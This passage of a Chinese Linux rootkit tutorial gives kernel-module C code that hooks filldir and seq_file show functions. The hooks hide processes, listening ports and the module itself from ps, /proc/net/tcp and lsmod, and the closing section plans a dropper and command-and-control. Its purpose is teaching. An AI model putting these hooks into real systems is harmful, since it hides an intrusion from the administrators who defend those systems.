    4. 隐藏进程

    Linux 上纯用户态枚举并获取进程信息,/proc 是唯一的去处。所以,对用户态隐藏进程,我们可以隐藏掉/proc 下面的目录,这样用户态能枚举出来进程就在我们的控制下了。读者现在应该些许体会到为什么文件隐藏是本文的重点内容了。

    我们修改一下上面隐藏文件时的假 filldir 即可实现进程隐藏, 如下所示。

    int
    fake_filldir(struct dir_context *ctx, const char *name, int namlen,
                 loff_t offset, u64 ino, unsigned d_type)
    {
        char *endp;
        long pid;
    
        // 把字符串变成长整数。
        pid = simple_strtol(name, &endp, 10);
    
        if (pid == SECRET_PROC) {
            // 是我们需要隐藏的进程,直接返回。
            fm_alert("Hiding pid: %ld", pid);
            return 0;
        }
    
        /* pr_cont("%s ", name); */
    
        // 不是需要隐藏的进程,交给真的 ``filldir`` 填到缓冲区里。
        return real_filldir(ctx, name, namlen, offset, ino, d_type);
    }
    

    实验

    笔者选择隐藏 pid 1 来做演示。在使用systemd 的系统上,pid 1 总是 systemd,看下图, 我们可以看到加载我们的模块( pshidko )之后, ps -A看不到 systemd了;把 pshidko 卸载掉,systemd就显示出来了。

    image

    5. 隐藏端口

    向用户态隐藏端口, 其实就是在用户进程读/proc下面的相关文件获取端口信息时, 把需要隐藏的的端口的内容过滤掉,使得用户进程读到的内容里面没有我们想隐藏的端口。

    具体说来,看下面的表格。

    网络类型 /proc 文件 内核源码文件 主要实现函数


    TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show


    TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show


    UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show


    UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show

    本小节以TCP /IPv4为例,其他情况读者可举一反三。

    文件的第一行是每一列的含义, 后面的行就是当前网络连接(socket /套接字)的具体信息。 这些信息是通过 seq_file 接口在 /proc 中暴露的。seq_file 拥有的操作函数如下,我们需要关心是 show

    struct seq_operations {
         void * (*start) (struct seq_file *m, loff_t *pos);
         void (*stop) (struct seq_file *m, void *v);
         void * (*next) (struct seq_file *m, void *v, loff_t *pos);
         int (*show) (struct seq_file *m, void *v);
    };
    

    前面我们提到了隐藏端口也就是在进程读取 /proc/net/tcp 等文件获取端口信息时过滤掉不希望让进程看到的内容,具体来讲, 就是将/proc/net/tcp 等文件的 show 函数篡改成我们的钩子函数,然后在我们的假 show 函数里进行过滤。

    我们先看看用来描述 seq_file 的结构体,即 struct seq_file , 定义于linux/seq_file.h seq_file 有一个缓冲区,也就是 buf 成员,容量是 size ,已经使用的量是 count ;理解了这几个成员的作用就能理解用于过滤端口信息的假 tcp_seq_show 了。

    struct seq_file {
         char *buf; // 缓冲区。
         size_t size; // 缓冲区容量。
         size_t from;
         size_t count; // 缓冲区已经使用的量。
         size_t pad_until;
         loff_t index;
         loff_t read_pos;
         u64 version;
         struct mutex lock;
         const struct seq_operations *op;
         int poll_event;
         const struct file *file;
         void *private;
    };
    

    /proc/net/tcp 等文件的 show 函数的方法与之前讲隐藏文件钩iterate 的方法类似, 用下面的宏可以通用的钩这几个文件 seq_file接口里面的操作函数。

    # define set_afinfo_seq_op(op, path, afinfo_struct, new, old)   \
        do {                                                        \
            struct file *filp;                                      \
            afinfo_struct *afinfo;                                  \
                                                                    \
            filp = filp_open(path, O_RDONLY, 0);                    \
            if (IS_ERR(filp)) {                                     \
                fm_alert("Failed to open %s with error %ld.\n",     \
                         path, PTR_ERR(filp));                      \
                old = NULL;                                         \
            }                                                       \
                                                                    \
            afinfo = PDE_DATA(filp->f_path.dentry->d_inode);        \
            old = afinfo->seq_ops.op;                               \
            fm_alert("Setting seq_op->" #op " from %p to %p.",      \
                     old, new);                                     \
            afinfo->seq_ops.op = new;                               \
                                                                    \
            filp_close(filp, 0);                                    \
        } while (0)
    

    最后,我们看看假 show 函数是如何过滤掉端口信息的。

    注1 TMPSZ 是 150,内核源码里是这样定义的。换句话说,/proc/net/tcp 里的每一条记录都是 149 个字节(不算换行)长,不够的用空格补齐。

    注2 : 我们不用 TMPSZ 也可以,并且会更加灵活,具体细节请看下面隐藏内核模块时 /proc/modules 的假 show函数是怎么处理的。

    int
    fake_seq_show(struct seq_file *seq, void *v)
    {
        int ret;
        char needle[NEEDLE_LEN];
    
        // 把端口转换成 16 进制,前面带个分号,避免误判。
        // 用来判断这项记录是否需要过滤掉。
        snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
        // real_seq_show 会往 buf 里填充一项记录
        ret = real_seq_show(seq, v);
    
        // 该项记录的起始 = 缓冲区起始 + 已有量 - 每条记录的大小。
        if (strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)) {
            fm_alert("Hiding port %d using needle %s.\n",
                     SECRET_PORT, needle);
            // 记录里包含我们需要隐藏的的端口信息,
            // 把 count 减掉一个记录大小,
            // 相当于把这个记录去除掉了。
            seq->count -= TMPSZ;
        }
    
        return ret;
    }
    

    实验

    我们拿TCP /IPv4 111 端口来做演示,读者需要根据实际测试时的环境做必要改动。 如图,加载 pthidko之前,我们可以看到 111 端口处于监听状态;加载之后,这条记录不见了,被隐藏起来; 把 pthidko卸载掉,这条记录又显示出来了。

    image

    6. 隐藏内核模块

    《Linux Rootkit 系列一: LKM的基础编写及隐藏》一文里提到了隐藏内核模块的两种方式, 一种可以从 lsmod 中隐藏掉,另一种可以从 /sys/module 里隐藏掉。然而,这两种隐藏方式都使得模块没法卸载了。在我们开发的初级阶段,这一点也不方便调试,笔者暂时就不讲这两个了。

    我们看看另外的思路。从 /sys/module 里隐藏的话,我们使用之前隐藏文件的方式隐藏掉就可以了。我想聪明的读者应该想到了这点,这再一次证明了文件隐藏的意义。

    那么怎么从 lsmod 里隐藏掉呢。 仔细回想一下,既然 lsmod 的数据来源是/proc/modules , 那用我们隐藏端口时采用的方式就好了: 钩掉/proc/modules show 函数, 在我们的假 show函数里过滤掉我们想隐藏的模块。

    粗略地浏览内核源码,我们可以发现, /proc/modules 的实现位于kernel/module.c , 并且主要的实现函数是 m_show

    接下来的问题是, 我们怎么钩这个文件 seq_file 接口里的 show 函数呢,钩法与 /proc/net/tcp 并不一样,但是类似,请看下面的宏。

    # define set_file_seq_op(opname, path, new, old)                    \
        do {                                                            \
            struct file *filp;                                          \
            struct seq_file *seq;                                       \
            struct seq_operations *seq_op;                              \
                                                                        \
            fm_alert("Opening the path: %s.\n", path);                  \
            filp = filp_open(path, O_RDONLY, 0);                        \
            if (IS_ERR(filp)) {                                         \
                fm_alert("Failed to open %s with error %ld.\n",         \
                         path, PTR_ERR(filp));                          \
                old = NULL;                                             \
            } else {                                                    \
                fm_alert("Succeeded in opening: %s\n", path);           \
                seq = (struct seq_file *)filp->private_data;            \
                seq_op = (struct seq_operations *)seq->op;              \
                old = seq_op->opname;                                   \
                                                                        \
                fm_alert("Changing seq_op->"#opname" from %p to %p.\n", \
                         old, new);                                     \
                disable_write_protection();                             \
                seq_op->opname = new;                                   \
                enable_write_protection();                              \
            }                                                           \
        } while (0)
    

    这个宏与之前写的宏非常类似,唯一的不同,并且读者可能不能理解的是下面这一行。

    seq = (struct seq_file *)filp->private_data;
    

    我想,读者的问题应该是: struct file private_data成员为什么会是我们要找的 struct seq_file 指针?

    请看内核源码。下面的片段是 /proc/modules 的初始部分,我们想要做的是钩掉 m_show 。 纵观源码,引用了 modules_op 的只有seq_open

    static const struct seq_operations modules_op = {
         .start  = m_start,
         .next   = m_next,
         .stop   = m_stop,
         .show   = m_show
    };
    
    static int modules_open(struct inode *inode, struct file *file)
    {
         return seq_open(file, &modules_op);
    }
    

    那我们跟进 seq_open 看看, seq_open 的实现位于 fs/seq_file.c

    int seq_open(struct file *file, const struct seq_operations *op)
    {
         struct seq_file *p;
    
         WARN_ON(file->private_data);
    
         // 分配一个 ``struct seq_file`` 的 内存。
         p = kzalloc(sizeof(*p), GFP_KERNEL);
         if (!p)
             return -ENOMEM;
    
         // 读者看到这一行应该就能理解了。
         // 对 ``/proc/modules`` 而言,
         // ``struct file`` 的 ``private_data`` 指向的就是
         // 他的 ``struct seq_file``。
         file->private_data = p;
    
         mutex_init(&p->lock);
         // 把 ``struct seq_file`` 的 ``op`` 成员赋值成 ``op``,
         // 这个 ``op`` 里就包含了我们要钩的 ``m_show`` 。
         p->op = op;
    
         // 这儿省略若干代码。
    
         return 0;
    }
    

    这时候,我们可以看看 /proc/modules 的假 show 函数了。过滤逻辑是很容易理解的; 读者应该重点注意一下 last_size 的计算,这也就是笔者在讲端口隐藏时说到我们可以不用 TMPSZ ,我们可以自己计算这一条记录的大小。自己计算的灵活性就在于,就算每个记录的大小不是同样长的,我们的代码也能正常工作。

    /proc/modules 里的每条记录长度确实不是一样,有长有短。

    int
    fake_seq_show(struct seq_file *seq, void *v)
    {
        int ret;
        size_t last_count, last_size;
    
        // 保存一份 ``count`` 值,
        // 下面的 ``real_seq_show`` 会往缓冲区里填充一条记录,
        // 添加完成后,seq->count 也会增加。
        last_count = seq->count;
        ret =  real_seq_show(seq, v);
    
        // 填充记录之后的 count 减去填充之前的 count
        // 就可以得到填充的这条记录的大小了。
        last_size = seq->count - last_count;
    
        if (strnstr(seq->buf + seq->count - last_size, SECRET_MODULE,
                    last_size)) {
            // 是需要隐藏的模块,
            // 把缓冲区已经使用的量减去这条记录的长度,
            // 也就相当于把这条记录去掉了。
            fm_alert("Hiding module: %s\n", SECRET_MODULE);
            seq->count -= last_size;
        }
    
        return ret;
    }
    

    实验

    我们选择隐藏模块自己( kohidko )来做演示。看下图。 加载 kohidko之后, lsmod 没有显示出我们的模块, /sys/module下面也列举不到我们的模块; 并且,右侧 dmesg 的日志也表明我们的假filldir 与假 show 函数起了过滤作用。

    image

    第二部分:未来展望

    至此,我们讨论了大部分作为一个 Rootkit 必备的基本功能;但是,我们的代码依旧是零散的一个一个的实验,而不是一个有机的整体。当然,笔者的代码尽可能的做好了布局组织与模块化,这能给我们以后组装的时候节省一些力气。

    在接下来的文章里,一方面,我们会把这些一个一个零散的实验代码组装成一个能进行实验性部署的Rootkit。要实现这个目标, 除了组装,我们还需要释放程序( Dropper ),还需要增加远程控制( Command & Control )能力。

    再者,我们可能会着手讨论 Rootkit 的检测与反检测。 还有就是讨论当前 LinuxRootkit 的实际发展状态, 比如分析已知用于实际攻击的 Rootkit所采用的技术, 分析我们的技术水平差异,并从中学习如何实现更先进的功能。

    最后,我们还可能改善兼容性与拓展性。我们现在的代码只在比较新的内核版本(比如 4.5.x / 4.6.x)上测试过。而且,我们压根就没有考虑已知的兼容性问题。 因而,要想在 3.x,甚至 2.x上跑, 我们还需要花时间兼容不同版本的内核。然后,我们还希望往其他架构上发展(比如 ARM )。

    下车,走好。

    第三部分:参考资料与延伸阅读

    1. 参考资料

    2. 延伸阅读

    展开全文
  • linux/module.h  。 /* Each module must use one module_init(). */ #define module_init(initfn) \ static inline initcall_t __inittest(void) \ { return initfn; } \ int init_module(void) __...
  • 前言: 《Linux Rootkit 系列一: LKM的基础编写及隐藏》的作者似乎跑路了;留下的这个口锅,我试着背一下。鉴于笔者知识能力上的不足,如有问题欢迎各位扔豆腐,不要砸砖头。与第一篇文章作者所想象的不同,本文不...
  • https://github.com/NoviceLive/research-rootkit  。代码在最新的 64 比特  Arch  与 Kali  上面测试正常。 测试建议:  不要在物理机测试!不要在物理机测试!不要在物理机测试! 如果读者使用  tmux ...
  • Linux Rootkit suterusu

    2014-11-09 16:05:06
    前言最早Rootkit用于善意用途,但后来Rootkit也被骇客用在***和***他人的电脑系统...Linux、Windows、Mac OS等操作系统都有机会成为Rootkit的受害目标。Rootkit出现于二十世纪90年代初,在1994年2月的一篇安全咨询报...
  • Rootkit Hunter ...  中文名叫”Rootkit猎手”, 可以发现大约58个已知的... 它通过执行一系列的脚本来确认你的机器是否已经感染rootkits. 比如检查rootkits使用的基本文件, 可执行二进制文件的错误文件权限,
  • (https://github.com/mncoppola/suterusu) 通过我的各种对路由器后门及内核漏洞利用的探险,我最近的兴趣转向Linux内核Rootkit以及什么能让他们进行挂钩(tick)。我进行了一些搜索主要是在...
  • 转载来源 :使用rkhunter检测Linuxrootkit :...req..
  • linuxrootkit的检测 chkrootkit使用 Rootkit Hunter使用 在看DDRK简介的时候,看到他是通过替换系统文件来实现一些隐藏的,事实上很多rootkit都会这么做,于是, ...
  • Linux入侵检测Rootkit

    2020-01-05 22:55:25
    1、rootkit Rootkit 是一种特殊类型的 malware(恶意软件)。Rootkit 的目的在于隐藏自己以及其他软件不被发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。Rootkit 几乎可以隐藏任何软件,包括...
  • Linuxrootkit漏洞检查工具RootKit Hunter

    千次阅读 2007-07-20 10:44:00
    Linux 上面, 我們稱核心模組為 LKM,不過,在 BSD 系列的系統上面,他們稱為 Dynamic Kernel Linker, KLD。 ) 作業系統的特殊檢測: 每一種作業系統(Operating System)都有他特殊的檔案格式,例如 Linux ...
  • 它通过执行一系列的测试脚本来确认你的机器是否已经感染rootkits. 比如检查rootkits使用的基本文件, 可执行二进制文件的错误文件权限, 检测内核模块等等. Rootkit Hunter由Michael Boelen开发, 是开源(GPL)软件....
  • rkhunter简介:中文名叫”Rootkit猎手”, rkhunter是Linux系统平台下的一款开源***检测工具,具有非常全面的扫描范围,除了能够检测各种已知的rootkit特征码以外,还支持端口扫描、常用程序文件的变动情况检查。...
  • 前段时间从完成“实时获取系统中TCP半连接数量”这个永远无法上线的半吊子需求开始,一发不可收拾地栽进了Rootkit深坑,有点走火入魔,写了好多篇这方面的随笔并结识了很多朋友,感觉不错。 前面的系列文章中,...
  • Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit一词更多地是指被作为驱动程序,加载...
  • Rootkit

    2009-11-11 22:39:00
    好多人有一个误解,他们认为rootkit是用作获得系统root访问权限的工具。实际上,rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常,攻击者通过远程攻击获得root访问权限,或者首先密码猜测或者密码...
  • rootkit

    2009-03-15 14:09:00
    在网络安全中经常会遇到rootkit,NSA安全和入侵检测术语字典( NSA Glossary of Terms Used in Security and Intrusion Detection)对rootkit的定义如下:A hacker security tool that captures passwords and message...
  • 使用chkrootkit检测rootkit

    千次阅读 2019-12-10 20:49:41
    Rootkit介绍 Rootkit是一个特殊的恶意软件,它可隐藏自身以及指定的文件、进程...不同的操作系统会有不同的Rootkit,Linux系统中的Rootkit就被称为LinuxRootkit。 Rootkit具有隐身功能,无论静止时作为文件存在,...
  • 使用rkhunter检测rootkit

    2019-12-10 20:54:50
    Rootkit介绍 Rootkit是一个特殊的恶意软件,它可隐藏自身以及指定的文件、进程...不同的操作系统会有不同的Rootkit,Linux系统中的Rootkit就被称为LinuxRootkit。 Rootkit具有隐身功能,无论静止时作为文件存在,...
  • rootkit for linux 2.寻找入口点

    千次阅读 2008-11-08 14:06:00
    但是你打开linux-2.6.18的文件夹,他会指着那个mm文件夹说“那个是啥,快打开,里面有mm照片么?”于是,在填鸭式的学习中,我们习惯于湮没在老师的无数唾沫里,湮没在书本的无数概念里,湮没在课堂的无数瞌睡里,...
  • 本文主要介绍linux上检测rootkit的两种工具: Rootkit Hunter和Chkrootkit.Rootkit Hunter中文名叫”Rootkit猎手”, 可以发现大约58个已知的rootkits和一些嗅探器和后门程序. 它通过执行一系列的测试脚本来确认你的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 911
精华内容 364
热门标签
关键字:

linuxrootkit系列

linux 订阅